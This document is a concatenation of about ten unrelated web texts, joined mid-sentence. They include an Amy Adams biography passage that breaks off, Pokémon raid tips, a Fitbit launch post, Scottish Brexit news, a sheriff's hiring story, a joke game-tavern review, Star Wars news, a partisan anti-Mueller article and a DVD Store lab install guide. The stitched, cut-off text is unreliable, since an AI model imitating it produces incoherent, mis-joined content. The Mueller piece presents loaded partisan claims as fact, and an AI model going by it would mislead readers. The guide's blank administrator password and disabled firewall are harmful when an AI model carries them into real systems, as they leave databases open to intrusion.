Following brief roles in three small-scale features of 2002—The Slaughter Rule, Pumpkin, and Serving Sara—Adams found her first high-profile part in Steven Spielberg's comedy-drama Catch Me If You Can.[11][27] She was cast as Brenda Strong, a nurse with whom Frank Abagnale, Jr. (played by Leonardo DiCaprio) falls in love. The film raised her confidence.[28] Despite the film's success and praise for her "warm presence" from Todd McCarthy, a critic for Variety, it failed to launch her career. She was unemployed for a year after its release, leading her to almost quit film acting.[17][29] Adams instead enrolled in acting classes, realizing that she had "a lot to learn and a lot of self-growth to work through".[2][17] Her career prospects seemingly improved a year later when she received a lucrative offer to star as a regular in the CBS television drama Dr. Vegas, but she was dropped after a few episodes.[2] On film, she only had a minor role as the fiancée of Fred Savage's character in the little-seen The Last Run (2004).[30]
2005–2007: Breakthrough with Junebug and Enchanted
Disillusioned by her firing from Dr. Vegas, Adams, at 30 years old, considered looking for an alternative career after finishing work on the sole project she was signed to. It was the independent comedy-drama Junebug, which had a production budget of under $1 million.[2][31] Directed by Phil Morrison, the film featured Adams as Ashley Johnsten, a perky and talkative pregnant woman. Morrison was impressed by Adams's ability to not question her character's inherently good motives.[32] She found a connection with Johnsten's faith in God, and spent time with Morrison in Winston-Salem, North Carolina (where the film is set), attending church.[3] She described making the film as "the summer I grew into myself", and after dyeing her hair red for the part, she decided to not go back to her natural blonde color.[3] Junebug premiered at the 2005 Sundance Film Festival, where Adams won a special jury prize.[13] Tim Robey of The Daily Telegraph labeled the film a "small, quiet miracle" and wrote that Adams had given "one of the most delicately funny and heartbreaking performances it's ever been my pleasure to review".[33] Ann Hornaday of The Washington Post opined that her "radiant portrayal" reflected the film's "deeply humanist heart".[34] Adams received her first Academy Award nomination, for Best Supporting Actress, and won an Independent Spirit Award.[3][35]
Enchanted in 2006 Adams on the set ofin 2006
Later in 2005, Adams had supporting parts in two critically panned films—the romantic comedy The Wedding Date, starring Debra Messing and Dermot Mulroney, and the ensemble coming-of-age film Standing Still.[36][37] Also that year, she joined the cast of the television series The Office, for a recurring role over three episodes.[38] In Talladega Nights: The Ballad of Ricky Bobby, a sports comedy from Adam McKay, Adams played the romantic interest of Will Ferrell's character, which critic Peter Travers deemed "quite a comedown" from her role in Junebug.[39] She also had a minor role in the workplace comedy The Ex, starring Zach Braff and Amanda Peet.[40]
After voicing in Walt Disney Pictures' animated comedy film Underdog (2007), Adams starred as a highly optimistic and joyous Disney Princess named Giselle in the musical romantic comedy Enchanted.[7][41] She was among 250 actresses who auditioned for the high-profile part; the studio favored the casting of a bigger star, but the director Kevin Lima insisted on Adams due to her commitment to the part and her ability to not be judgmental about her character's personality.[42] Patrick Dempsey and James Marsden featured as her romantic interests. A ballgown that she had to wear for the film weighed 45 pounds, and Adams fell several times under its weight.[43] She also sang three songs for the film's soundtrack—"True Love's Kiss", "Happy Working Song", and "That's How You Know".[44] The critic Roger Ebert commended Adams for being "fresh and winning" in a role that "absolutely depends on effortless lovability", and Wesley Morris of The Boston Globe wrote that she "demonstrates a real performer's ingenuity for comic timing and physical eloquence".[45][46] Todd McCarthy considered the role to be Adams's breakthrough and compared her rise to stardom to that of Julie Andrews.[47] Enchanted was a commercial success, grossing over $340 million worldwide.[48] Adams received a Golden Globe Award nomination for Best Actress in a Comedy or Musical.[49]
Following the success of Enchanted, Adams took on the part of Bonnie Bach, Congressman Charlie Wilson's assistant in Mike Nichols' political comedy-drama Charlie Wilson's War (2007), starring Tom Hanks, Julia Roberts, and Philip Seymour Hoffman.[50] Kirk Honeycutt of The Hollywood Reporter praised Adams for being "sweetly savvy" in her part, but Peter Bradshaw was disappointed to see her talent wasted in a role he considered to be of minimal importance.[51][52]
2008–2012: Ingénue parts and expansion to dramatic roles
The 2008 Sundance Film Festival saw the release of Sunshine Cleaning, a comedy-drama about two sisters (played by Adams and Emily Blunt) who start a crime scene clean-up business. Adams was attracted to the idea of playing someone who constantly tries to better herself.[53][54] Mick LaSalle of San Francisco Chronicle considered Adams to be "magical", adding that she "gives us a portrait of raging want beneath a veneer of surface diffidence".[55] In the 1939-set screwball comedy Miss Pettigrew Lives for a Day, Adams starred as an aspiring American actress in London who encounters a middle-aged governess named Miss Pettigrew (played by Frances McDormand). Stephen Holden of The New York Times drew similarities to her role in Enchanted and wrote that the "screen magic" she displays in such endearing roles "hasn't been this intense since the heyday of Jean Arthur".[56]
Adams next starred in Doubt, an adaptation of John Patrick Shanley's play of the same name. The production tells the story of a Catholic school principal (played by Meryl Streep) who accuses a priest (played by Philip Seymour Hoffman) of pedophilia; Adams features as an innocent nun embroiled in the conflict. Shanley initially approached Natalie Portman for the part, but offered Adams the role after finding her innocent, yet intelligent, persona similar to that of Ingrid Bergman.[57] Adams identified with her character's ability to find the best in people; she described her collaboration with Streep and Hoffman as a "master class" in acting.[17][57] Writing for the Houston Chronicle, Amy Biancolli commented that Adams "sparks with distressed compassion", and Ann Hornaday opined that she "exudes just the right wide-eyed innocence".[58][59] Adams was nominated for an Academy Award, Golden Globe Award, and BAFTA Award for Best Supporting Actress.[60]
As with Junebug and Enchanted, Adams's roles in her three 2008 releases were those of the ingénue—innocent women with a cheerful personality.[12][53] When asked about her being typecast in such roles, Adams said that she responds to characters who are joyful and identified with their sense of hope.[61] She believed that despite certain similarities in their disposition, these characters were vastly different from one another; she said, "Naïveté is not stupidity, and innocent people are often very complex."[ |
to incorporate dodging as there are no higher Power options against this specific Tyranitar if you don’t dodge!
Summary
Bonus ball optimization is a useful tool for small groups and for making the most of what you have. Just make sure you’re using it properly and wisely! When you split up in to groups, make sure you are thinking about team contribution, and that each team has enough damage to beat the raid. It is better to guarantee 2 bonus balls for yourself and to secure the win than to take too small of a group and not get Mewtwo at all! And remember, Mewtwo is pretty easy to catch, so please don’t badger less experienced and equipped players to attempt risky party compositions for an extra ball or 2.Today is an exciting day for Fitbit, and we’re so happy to share this news with you, our fans. Today we unveiled three new activity and sleep-tracking products: Fitbit Charge, Fitbit Charge HR and Fitbit Surge. Continuing our mission to inspire people to lead healthier, more active lives, we’re releasing these three new innovative devices to help reach everyday, active or performance health and fitness goals.
So let’s take an in-depth look at each new product.
Fitbit Charge
Charge is a high-performance wristband that delivers all-day activity tracking, real-time fitness stats and Caller ID right on the wrist for people who want to step up their everyday activities to improve their overall health.
Fitbit Force, reinvented, Charge is ideal for people looking to track everyday activity to take their fitness to the next level, displaying all the most important stats in real-time on your wrist.
Fitbit Charge features…
Accurate tracking of steps taken, distance traveled, calories burned and floors climbed
A bright, OLED display showing time of day and real-time stats
Automatic sleep detection monitors sleep quality using motion analysis to understand sleep and wake times; also features a silent, vibrating alarm
Caller ID to helps users stay connected to incoming calls; the wristband vibrates and shows the caller’s name or number when a smartphone is nearby
Exercise tracking to easily record workouts, see real-time exercise stats and have summaries appear automatically on the Fitbit dashboard
A high-quality, water-resistant, comfortable new textured wristband design with an improved clasp
Up to 7 days of battery life
Fitbit Charge HR (early 2015)
Charge HR is an advanced tracker that delivers continuous, automatic wrist-based heart rate, Caller ID and all-day activity tracking for active users looking to push their fitness further. It’s designed for more active users who are dedicated to staying fit and want a full picture of their health – in and out of the gym. Charge HR features Fitbit’s proprietary PurePulse optical heart rate technology, which provides continuous and automatic wrist-based heart rate monitoring, without an uncomfortable chest strap. PurePulse uses safe LED lights to detect blood volume changes right on the wrist to deliver heart rate monitoring 24/7.
Charge HR includes all the great benefits of Charge, plus:
Continuous 24/7 heart rate right on the wrist to get more accurate all-day calorie burn, reach target workout intensity and maximize training
All-day insights into overall heart health including resting heart rate and heart rate trends, alongside stats like steps, distance, floors climbed, calories and active minutes
Up to 5 days of battery life – Charge HR is specially designed with battery efficient technology, so you can spend more time tracking and less time charging
Fitbit Surge (early 2015)
Surge is Fitbit’s most advanced tracker to date: a sleek ‘Fitness Super Watch,’ designed for those looking for peak performance. Featuring 7-sensor technology that combines all-day fitness tracking with GPS, heart rate monitoring and smartwatch functionality, Surge is ideal for users committed to training, dedicated to health and consistently looking to improve progress.
Surge includes all the breakthrough features of Charge and Charge HR, plus:
Built-in GPS delivers stats like pace, distance, elevation, split times, route history and workout summaries for smarter training
Records multi-sport activities like running, cross-training and strength workouts; see comprehensive summaries with tailored metrics, workout intensity and calories burned
Smartwatch features including Caller ID, text alerts and mobile music control let users train smarter and stay focused right from the wrist
Seven sensors—3-axis accelerometers, compass, ambient light sensor, GPS and heart rate—working harmoniously to give users the most advanced tracking in the thinnest, lightest design on the market
Backlit LCD touch screen display with customizable watch faces, makes it easy to navigate through real-time stats, workout apps, sleep and alarms
Up to 7 days of battery life – Surge is specially designed with battery efficient technology, so you can track a work week or a marathon on just one charge
Find Your Fit
Here’s our handy product comparison page that is a great resource for finding your ideal Fitbit tracker.
Plus, we’re incredibly excited to announce that the Fitbit API will provide access to the all-day heart rate and GPS data from these devices. To find out more, log in to your Fitbit account and jump over to this community forum.
Fitbit Charge is available now on Fitbit.com for $129.95, and you can find it in retailers nationwide. Charge debuts in black and slate colors, with blue and burgundy coming soon.
Fitbit Charge HR will be available in early 2015 in black and plum for $149.95, with blue and tangerine colors coming soon. And Fitbit Surge will also be available in early 2015 in black for $249.95, with blue and tangerine coming soon after.
We’ll have lots more on Fitbit Charge this week and all next month, and stay tuned for more in-depth looks at Charge HR and Surge in the coming months!NICOLA Sturgeon has warned Theresa May she lacks the mandate to take Scotland out of the single market, after the Prime Minister refused to say whether she would try to keep the UK in.
In a statement to the Scottish Parliament, the First Minister also cautioned MSPs against thinking the impact of June’s vote had been much less catastrophic than predicted.
“Those people who are complacently crowing that the sky has not fallen in on the economy would do well to remember that Brexit has not happened yet – it has not even started,” she said.
Sturgeon said the Scottish Government would do what it could to keep the country as a member of the free-trade zone. The SNP leader also reiterated that Scots must be allowed to “consider independence” if it “becomes clear that our interests cannot be protected within the UK”.
To Tory jeers, she continued: “To give up the right to even consider that option would be to accept that we are at the mercy of Westminster decisions no matter how damaging or destructive they are to our economy, our society and our place in the world. That is not a position that anyone with Scotland’s best interests at heart should ever be prepared to accept.”
The Scottish Government was, Sturgeon said, seeking “urgent clarification on how the UK Government will deliver on the Prime Minister’s commitment to full involvement for Scotland.”
She added: “Let me be crystal clear about this, and it is a point I have made directly to the UK Government: the Scottish Government will not be window dressing in a talking shop to allow the UK Government to simply tick a box.
“We expect to have, along with the other devolved nations, a role in decision-making, we expect our engagement to be meaningful.”
“I accept that the Prime Minister has a mandate in England and Wales to leave the EU, but I do not accept that she has a mandate to take any part of the UK out of the single market,” she added. “I hope all parties in this chamber will back us as we make that case, and I hope also that we can make common cause with others across the UK.”
Scottish Tory leader Ruth Davidson asked the First Minister why she was so keen to stay in the EU trading bloc, but was keen to leave the UK, “a bloc that is four times as important in terms of trade”.
The SNP leader pointed out that Tory colleagues of Ruth Davidson had already been to Ireland “saying that Brexit does not mean a border with independent Ireland or barriers to trade”. Sturgeon added: “The Tories cannot say one thing in Ireland and then say the exact opposite here in Scotland.”
Earlier in the day at Prime Minister’s Questions, May refused to say whether she wanted to remain in the single market, telling SNP Westminster leader Angus Robertson that she would not be giving a “running commentary” on the government’s negotiations.
Robertson had criticised May’s lack of detail. “The UK Government have had all summer to come up with a plan and a strategy, but so far we have just had waffle," he said. "I want to ask the Prime Minister a simple but important question: does she want the UK to remain fully within the European single market?”
May responded, saying that Scotland’s prosperity was best served in the UK. “We will be ensuring that we seize the opportunities for growth and prosperity across the whole of the United Kingdom, including growth and prosperity in Scotland," she said. "As we saw from the figures released this summer, what really gives growth and prosperity in Scotland is being a member of the United Kingdom.”
Meanwhile, during his LBC radio phone-in, Alex Salmond warned that membership of the free trade zone would affect the timing of the referendum. The former First Minister said he would still want to see a second independence referendum within the next few years, regardless of the UK’s membership status.
He said: “The SNP is a pro-independence party but Nicola Sturgeon has identified that our key priority is to keep Scotland within that single market place. I think she is right to prioritise that.”
Nicola Sturgeon: I am doing everything I can to protect Scotland’s place in and relationship with the EUSheriff's Office swears in 11 new deputies, looking for more
Sheriff Jerry Demings wants to fill dozens more open positions for deputies in the next year.
Sheriff Jerry Demings is on a hiring spree and his newest employees — seven patrol deputies, three court deputies and a reserve deputy — include military veterans, retired law-enforcement officers returning to the job, fresh-faced academy recruits and a former crime-scene investigator.
Wearing their new forest-green uniforms and shiny boots, 11 new deputies swore to "support, protect, and defend," as the newest recruits in the Orange County Sheriff's Office, which is poised to bring dozens more men and women into its ranks this year.
An improving economy has allowed Demings to open 125 positions that have been frozen since 2009. So far, 60 have been filled as the pool of qualified applicants grows with service members leaving the military and entering civilian life, said the Sheriff's Recruiting and Background Manager Mary Ann Salazar.
"We are a paramilitary organization, so hiring veterans makes sense, and its important to the sheriff to bring in these highly skilled men and women," Salazar said.
More than half of the deputies sworn in Wednesday have served in the armed forces. Deputy Benjamin Jones, for example, served three tours overseas in Iraq and twice in Afghanistan with the U.S. Army and Florida National Guard before joining the sheriff's office as a patrol deputy.
With the end of the war in Afghanistan in sight and looming cuts to defense spending, the U.S. military will undergo massive restructuring and downsizing, according to the White House. That will leave thousands of retiring soldiers in search of jobs and heading back to school.
"For every 100 people who inquire, only one of them makes it to this point," Demings said Wednesday during the ceremony at OCSO headquarters. "We believe in hiring the best."
Marine Franck Alphonse served six years, went to Iraq twice and achieved the rank of sergeant before pursuing a law-enforcement career. He graduated from Seminole State College's Center for Public Safety as a squad leader.
The native of Haiti will use his Creole language skills to connect with the Caribbean community largely concentrated in the western section of Orange County.
"I like the best; that's why I joined the Marine Corps — so I'm pretty sure Orange County [Sheriff's Office] will be the same for me," Alphonse said, grinning widely.
Starting salaries for deputies range between $38,000 and $40,000 depending on whether the candidate has a college degree or previous law-enforcement experience, like newly sworn Deputy Guillermo Salguero.
After five years as a deputy in South Carolina, Salguero said it was time to return to his Central Florida roots.Place: The Legerdemain Lounge
Where: Dalaran, Northrend
Author: Tryxl
The floating city of Dalaran is a magical place. I mean that both figuratively and literally. I mean, it IS a floating city and all. Unfortunately the magic isn’t enough to bring people to this pleasant sanctuary in the bitter cold of Northrend which is a shame since it is filled with many great shops and eateries. I spent some time in one of them, the Legerdemain Lounge.
The Legerdemain Lounge is quite a big place. The bar itself is large and there are plenty of bar-stools and places to lean. The staff is incredibly attentive, though this could be due to myself being the only customer. I saw on the menu “Pungent Seal Whey” and wondered who in their right mind would order something like this? I ordered the Northrend Honey Mead along with the Caribou which was basted in the same mead. The caribou was juicy and tender cooked perfectly. The mead was satisfying and just strong enough to give me a bit of a buzz.
I wandered around and saw several bookshelves filled with all sorts of books. Upstairs there was even a friendly kitty cat. I sure do love kitty cats. I pet it for at least twelve minutes, but then it bit me and ran off into the sewers. I felt kind of strange for a few days after that but I don’t think the two things were related. Can’t be, kitty cats are sweet all of the time!
Upstairs they have a couple of rooms available for lodging. One of which is a nice romantic honeymoon suite with a lovely bed with soft pillows. If I had taken a friend a long it would have been a great place to cuddle, or at least that’s what I thought until I turned and looked at the other wall. That is when I saw an alarming painting of a majestic whale being cut into slices. The painting was overly graphic and would definitely take me out of the mood. The other room was a family room with four beds. I noticed it too had the same graphic painting. I would definitely not want kids to see this as it may frighten them.
After checking out the rooms I relaxed on the large balcony that gives an alright view of Dalaran. Overall, the Legerdemain Lounge is a nice place with good food. Unfortunately there was no one else here which makes it seem rather depressing. The strange pictures on the wall don’t help much either and I may suggest getting rid of the “Pungent Seal Whey.”
3/5 stars. Not sure If I’d returnPerhaps the stand-alones are reverse-engineering the genre in an attempt to fully understand what audiences respond to in the 1977 original.
The Han Solo movie might be in a state of flux, but Woody Harrelson — who plays Beckett, mentor of the young hero — has suggested that, no matter what the finished product looks like, it might be one of the funniest films from a galaxy far, far away yet.
"He's a great actor and a great guy, [with a] great sense of humor," Harrelson said of the new Han Solo, Alden Ehrenreich, when talking to ET. "I think a lot of humor comes through what he's doing. I think it could be one of the funnier Star Wars movies."
That shouldn't come as a surprise; Han Solo has always been one of the primary sources of humor in the entire franchise, after all. (What else would you expect from such a charming smuggler?) What makes it potentially unexpected, however, was how humorless the previous Star Wars stand-alone movie, Rogue One, was.
It's possible — even likely — that the various Star Wars Story projects are reverse-engineering the genre mix of the original Star Wars trilogy and emphasizing particular tropes in an attempt to fully understand what it is about the movies that audiences respond to: Rogue One leans heavily on the action, and the Han Solo project on the humor, leaving a future third movie to focus in on the Force mysticism, perhaps…?
Harrelson also touched on the pic's behind-the-scenes problems that resulted in the installation of new director Ron Howard at the very end of the initial shoot, saying, "Fortunately, the force is still very much with us. … It's great that Ron came along when he did."
The as-yet untitled movie is still scheduled for release on May 25, 2018.Special Counsel Robert Mueller, who has been sainted by the establishment, is a longtime and very close friend of Jim Comey’s, the easily “stunned” and “confused” former FBI director. Mueller’s begun hiring members of his investigative team and at least four of them are Barack Obama and Hillary Clinton donors.
Mueller is hiring Democrat donors
So far Mueller appointed at least four Democrat donors as prosecutors.
The National Law Journal reported that Mueller has tapped on a part-time basis Deputy Solicitor General Michael Dreeben, regarded as one of the best government attorneys in the country. Dreeben also donated in 2008 to the Barack Obama PAC and in 2006 to the Hillary Clinton PAC.
Mueller reportedly hired Andrew Weissmann, head of the fraud section in the DOJ Criminal Division. Weissman led the Enron Task Force from 2002-2005, overseeing the investigations and prosecutions of dozens of individuals including Republican Kenneth Lay.
Weissman donated six times to PACs for Obama’s presidential campaign as well as the DNC in 2006.
Jeannie Rhee, former deputy assistant attorney general, donated to the Democratic National Committee as well as campaign PACs Obama in 2008 and 2011, and Clinton’s campaign in 2015 and 2016.
James Quarles, who worked as an assistant special prosecutor on the Watergate Special Prosecution Force and who also works as an attorney at WilmerHale with Rhee, has a long record of donating to Democratic groups starting in 1987 for the PAC Dukakis for President. In 2016, he donated to Clinton’s PAC Hillary for America.
Comey leaked a memo to manipulate the investigation
Former FBI director Jim Comey leaked a memo of a privileged communication with the President to manipulate the administration into appointing a special counsel. He wasn’t interested in investigating leaks because he’s one of the leakers.
That should end the special counsel but it won’t.
Comey was interested in having a special counsel who just happens to be his friend Robert Mueller.
Comey is a very close friend of Robert Mueller’s. For the past 15 years, the two men have been described as “brothers in arms.” Their work together during the controversies over Bush-era terrorist surveillance has been characterized as “deepening a friendship forged in the crucible of the highest levels of the national security apparatus after the 9/11 attacks,” after which the men became “close partners and close allies throughout the years ahead.”
Jeff Sessions was made to recuse himself but Comey’s friend is acceptable?
Mueller was not fair to targeted conservatives
As FBI Director, Mueller is the investigator who was unaware of the IRS targeting of conservative groups.
The Obama IRS targeted conservative organizations and during a June 2013 hearing he refused to answer or was possibly completely unaware of any investigation.
Jordan lit into Mueller. “I’m not asking you about details of the investigation, I’m saying why were people targeted before the investigation started,” Jordan said. “Why were they contacted by the FBI? … I’m asking you basic questions about the investigation, like who’s heading it up. And you can’t tell me that.”
“This is the most important issue in front of the country in the last six weeks, and you don’t know who the lead investigator is?” Jordan asked, sounding shocked.
“At this juncture, no I do not,” Mueller responded.
“Do you know if you’ve talked to any of the victims?” Jordan went on. “Have you talked to any of the groups that were targeted by their government? Have you met with any of the tea party groups since May 14, 2013?”
“I don’t know what the status of the interviews are by the team that’s on it,” Mueller said.
The victims of the targeting had not been interviewed by the IRS.
Mueller can keep the investigation going for years
Under terms of his appointment by Deputy Attorney General Rod Rosenstein, Mueller will have wide powers to investigate “any links and/or coordination between the Russian government and individuals associated with the campaign of President Donald Trump” and—beyond that—“any matters” that arise from the investigation, including perjury and obstruction of justice.
He can keep the fishing expedition going for years and take it anywhere he wants under the authority given him by Rod Rosenstein.
If the Democrats take back the House in 2018, they will be perfectly prepared for impeachment.
Mueller is winning accolades, particularly from the left, but not everyone agrees
Former Senator Bob Graham of Florida, the Democrat who ran the joint Senate-House congressional investigation of pre-9/11 intelligence failures, said in an interview that while he was pleased by the appointment of a special prosecutor to investigate Russian meddling in 2016 election, he questioned the choice of Mueller.
“I did not have a good relationship with Mueller during the 9/11 investigation,” he said. “I have some concerns that he will in fact be fully independent, based on what I observed 15 years ago.”
Graham has long been critical of what he says are Mueller’s repeated attempts to protect the bureau from embarrassment over its pre-9/11 failures as well as the former FBI director’s failure to hold the government of Saudi Arabia accountable for its possible ties to the hijackers.
Witch hunt
Newt Gingrich says it’s a “witch hunt”.
“I think this is going to be a witch hunt…I distrust independent counsels.” ~ @newtgingrich pic.twitter.com/BtZlKXtgKy — BRIAN FRASER (@bfraser747) June 12, 2017Children and adults see the world differently
Human brain (Credit: Gaetan Lee)
Unlike adults, children are able to keep information from their senses separate and may therefore perceive the visual world differently, according to research published today.Scientists at UCL (University College London) and Birkbeck, University of London have found that children younger than 12 do not combine different sensory information to make sense of the world as adults do. This does not only apply to combining different senses, such as vision and sound, but also to the different information the brain receives when looking at a scene with one eye compared to both eyes.The results, published today in the, imply that children's experience of the visual world is very different to that of adults.Dr Marko Nardini, UCL Institute of Ophthalmology, and lead author said, "To make sense of the world we rely on many different kinds of information. A benefit of combining information across different senses is that we can determine what is out there more accurately than by using any single sense."He added: "The same is true for different kinds of information within a single sense. Within vision there are several ways to perceive depth. In a normal film, depth is apparent from perspective, for example in an image of a long corridor. This kind of depth can be seen even with one eye shut. In a 3D film, and in real life, there is also binocular depth information given by differences between the two eyes."The study looked at how children and adults combine perspective and binocular depth information. Results show that being able to use the two kinds of depth information together does not happen until very late in childhood – around the age of 12.Scientists asked children and adults wearing 3D glasses to compare two slanted surfaces and judge which is the "flattest", given perspective and binocular information separately, or both together. It was not until 12 years that children combined perspective and binocular information to improve the accuracy in their judgements, as adults do. This implies that adults combine different kinds of visual information into a single unified estimate, whereas children do not.However, combining sensory information can result in an inability to separate the individual pieces of information feeding into the overall percept. This is known as "sensory fusion", an effect that has been documented in adults.In a second study scientists asked whether children might be able to avoid sensory fusion by keeping visual information separate. Researchers used special 3D discs in which perspective and binocular information sometimes disagreed. Because adults tended to take an average of the perspective and the binocular information, they were poor at determining whether the slant of some discs was the same or different as a comparison disc. By contrast, 6-year-olds had no trouble in spotting differences between discs of this kind. This shows that 6-year-olds can "see" separate kinds of visual information that adults cannot.Professor Denis Mareschal, from the Centre for Brain and Cognitive Development at Birkbeck, who co-authored the study explained: "Babies have to learn how different senses relate to each other and to the outside world. While children are still developing, the brain must determine the relationships between different kinds of sensory information to know which kinds go together and how. It may be adaptive for children not to integrate information while they are still learning such relationships -.those between vision and sound, or between perspective and binocular visual cues."A future aim is to use functional magnetic resonance imaging (fMRI) to determine the brain changes that underlie children's abilities to combine visual information in an adult-like way.###University College London: http://www.ucl.ac.ukDVD Store 2.1, a magnificent tool for all aspiring VCP/VCAP candidates. A great tool for home lab enthousiasts to understand performance metrics, a fantastic tool to understand the behavior of an application stack in a virtual datacenter.
WHAT IS DVD STORE?
According to the official site the DVD Store Version 2.1 (DS2) is a complete open source online e-commerce test application, with a backend database component, a web application layer, and driver programs. The goal in designing the database component as well as the midtier application was to utilize many advanced database features (transactions, stored procedures, triggers, referential integrity) while keeping the database easy to install and understand. The DS2 workload may be used to test databases or as a stress tool for any purpose.
Thanks Todd Muirhead and Dave Jaffe for creating this! However there is a slight challenge in installing it properly. You can install it on windows or on Linux and use many different database programs. I like to use windows for this. Unfortunately I tried to follow the instruction video on youtube and it was lacking some crucial details to get it deployed successfully. Therefor I started to document the steps involved to get it deployed on a Windows 2012 system using SQL 2014 SP1. Please note that you can run DVD store on Linux as well, and it might be even better (more lean and mean than a windows install) for homelabs. If you have a detailed write-up (100% reproducible) of a working deployment DVD store on Linux, please share the link to your article in the comments.
Two virtual machines
Windows 2008 R2 and Windows 2012
Windows 2008 R2 SP1
DVD Store 2.1 ds21.tar.gz
DVD Store 2.1 ds21_sqlserver.tar.gz
Winzip
SQL 2014 SP1*
ActiveState ActivePerl Community Edition
Go to Server Manager Add roles and features Next Role-based or feature-based installation Click Next until you reach Features Select.Net Framework 3.5 Features Click Install
As described above the DVD Store is an application stack that can run on a single or multiple virtual machines. By using multiple virtual machines, you can test various components and layers in your virtual datacenter. As this is my goal I’m creating a VM that will run the database and another VM that generates the workload.I’m listing the software I’ve used in order to create a working environment. Many variations are possible. If you can create a lightweight version of this build, or a complete community edition (license free) please share URL of your article in the comments.In this exercise I’m going to install and configure a 20GB database on a Windows 2012 VM. If you are using templates, check if you have enough space for the DVD store on your C-drive. During the first stage the temporary files will be stored on the C: drive, provide enough space which is at least equal to the DB size. The database hard disk needs to be twice the size of the DB in order to successfully import the data. Post configuration optimizations can reduce the consumed space of the database, but don’t be too frugal when configuring the hard disks. Play around with the compute settings depending on your lab equipment. I noticed that Windows 2012 uses 5.4 GB of memory to run its OS and SQL Express when idling, but during installation it consumed close to 11GB.Update Windows 2012 with all the latest patches and update VMtools, enable remote desktop if you don’t want to use the VM console. Disable the firewall, as this I run an air-gapped lab I don’t want to spend too much time on firewall rules. SQL requires to Enable Microsoft.Net Framework 3.5 SP1. and Download and install Microsoft.Net Framework 4.0..Net Framework 4.0 is already a part of the Windows 2012 OS, therefore you only have to enable 3.5. by executing the following steps:
Extracting DVD Store
The DVD Store kit is available at linux.dell.com/dvdstore. Download the file ds21.tar.gz and ds21_sqlserver.tar.gz. Both include scripts that are made on a unix based machine, missing the proper CR/LF format for a windows system. Winzip converts files to proper windows format while extracting, therefor I recommend using Winzip. Alternatively you can use a tool such as Unix2Dos to convert the files if you don’t want to use Winzip. Extract both files to the C:\ Drive creating a directory structure as follows:
Install ActivePerl
The installation of DVD Store is done via a Perl script, Windows 2012 doesn’t contain a Perl utility. One of the recommended Perl Utility is ActiveState ActivePerl Community Edition. You can download it here. As I’m using Windows 2012, I need to download the x64 MSI version. The install is straightforward, no specific options need to be selected, basically a next next finish install.
Run Install and select the following options:
New SQL Server stand-alone instalation Accept the license terms Check “Use MS Update to check for updates” Database Engine Configuration: Mixed Mode (SQL Server Authentication and Windows Authentication) (provide password) Reporting Services Native Mode: Install and Configure
DVD store can leverage both the full version or the Express version of SQL. Microsoft allows you to evaluate their products 180 days. If you do maintain a VM configuration for more than 180 days you can use the free version of SQL 2014 express. Please be aware that you need SQL Server Express with Advanced Services as it includes the full version of SQL Server 2014 Management Studio and Full Text Search and Reporting Service. Both features are required to run DVD Store. For more info on SQL 2014 versions go here: https://www.microsoft.com/en-us/download/details.aspx?id=42299. Download SQL 2014 Express ADV SP1 here: https://www.microsoft.com/en-us/download/details.aspx?id=46697 If you are going to use the express version, adjust your VM configuration. Unfortunately SQL Express has some CPU limitations for the database engine (Limited to lesser of 1 Socket or 4 cores) and a 10 GB DB limitation. Therefore a 4 vCPU configuration would be 1 virtual sockets: 1 and 4 cores per socket. For more info about virtual sockets and cores please read this article: http://frankdenneman.nl/2013/09/18/vcpu-configuration-performance-impact-between-virtual-sockets-and-virtual-cores/
Install SQL 2014 SP1
Download the eval version of SQL 2014 SP1 here: http://technet.microsoft.com/evalcenter/dn205290.aspx
Run Install and select the following options:
New SQL Server stand-alone instalation Select Evaluation Accept the license terms Setup Role: Select All Features using default values for service accounts* Database Engine Configuration: Mixed Mode (SQL Server Authentication and Windows Authentication) (provide password) Analysis Services Configuration: Add current User Reporting Services Configuration: Install and Configure Distributed Replay Controller: Add Current User Install
During the install it can happen that the install process freezes when on a step called “Install_WatsonX86_Cpu32_Action”. To solve this state, open up task manager and end all “extra” processes called “Windows Installer (32 bit) ” leaving only a single Windows Installer process.
I’m sure you can improve and optimise the SQL installation, but I haven’t really looked into this. For more information I recommend David Klee’s blog (http://www.davidklee.net/) and the book of Michael Webster “Virtualising SQL Server with VMware” (http://longwhiteclouds.com/)
Database size: 20
Database size is in MB or GB: GB
Database type: MSSQL
System type: WIN
Path where Database files will be stored: E:\SQL\DBFiles\ *
Once SQL is installed you can begin installing DVD Store.The process of installing DVD store consists of executing two scripts, the Install_DVDStore.pl script and the SQL script.The Install_DVDStore.pl script generates the database content (such as users and products) by creating CSV files and it generates a SQL script that allows MSSQL to create the DB2user, the databases and importing the CSV content files. In order to correctly generate these files, you must create the directories where the MSSQL Database files will be stored. I’m using a single drive for all databases, therefore I create a directory SQL\DBfiles on the E: drive (E:\SQL\DBfiles).Please note that the workload CSV files are generated in the C:\DS2 folder! That means that if you are going to generate a 20GB database, you need at least 20GB of free space on your C:\ drive as well to temporarily store the CSV files.Once installed SQL you can run the Install_DVDStore script in the C:\DS2 folder. I prefer to open up a command prompt to run the script. The window remains open after the script has completed successfully, allowing me to do other stuff in the mean time. If you have more trust in scripts than me, go right ahead and click on the perl script from the windows explorer.C:\ds2\Install_DVDStore.pl. In order to create a 20GB DB in the directory E:\SQL\DBfiles, I’m going to answer the questions as follows:
* Please note the trailing \ in E:\SQL\DBFiles\, this is required otherwise the script will fail.
Creating the custom CSV and the sql script files took my system roughly 20 minutes. The CSV files are stored in the directory structure of the C:\DS2\Data_files. The SQL script is stored in the directory C:\DS2\sqlserverds2\. The Install_DVDStore script generated the following script: sqlserverds2_create_all_20GB. Thats the script we want to run in order to get the DB loaded with the records.
Edit the SQL script
David Klee (@kleegeek), the SQL MVP, discovered there was a slight error in the script. In order to fix this, edit the script in notepad or SQL management studio. Go to line 91 (or use find) and change (1) of GENDER VARCHAR(1) into (2) resulting in GENDER VARCHAR(2). Save and exit.
It seems the DS2 scripts use the SA account with an blank password. You can do two thing, go through all the scripts or change the SA password on your SQL server. If someone knows the location of the SA user in the scripts, please leave a comment. In order to change the SA password, open up the SQL 2014 management studio. (Go to start, apps, SQL Server 2014 Management Studio). Select “SQL Server Authentication” and use the SA user with the password you entered during the installation process of SQL. Go to Security \ Logins and select the SA account, go to properties and deselect the option “Enforce password policy”. Now remove the password and click on OK. Yes you are sure you want to continue so click on Yes 😉 Exit the management studio.
Execute the SQL script
Go to the C:\DS2\sqlserverds2 directory and click on the sqlserverds2_create_all_20GB script. This opens SQL2014 management Studio and you need to authenticate again. A good time to check to see if the SA account is using a blank password, use the SA user account and click on connect.
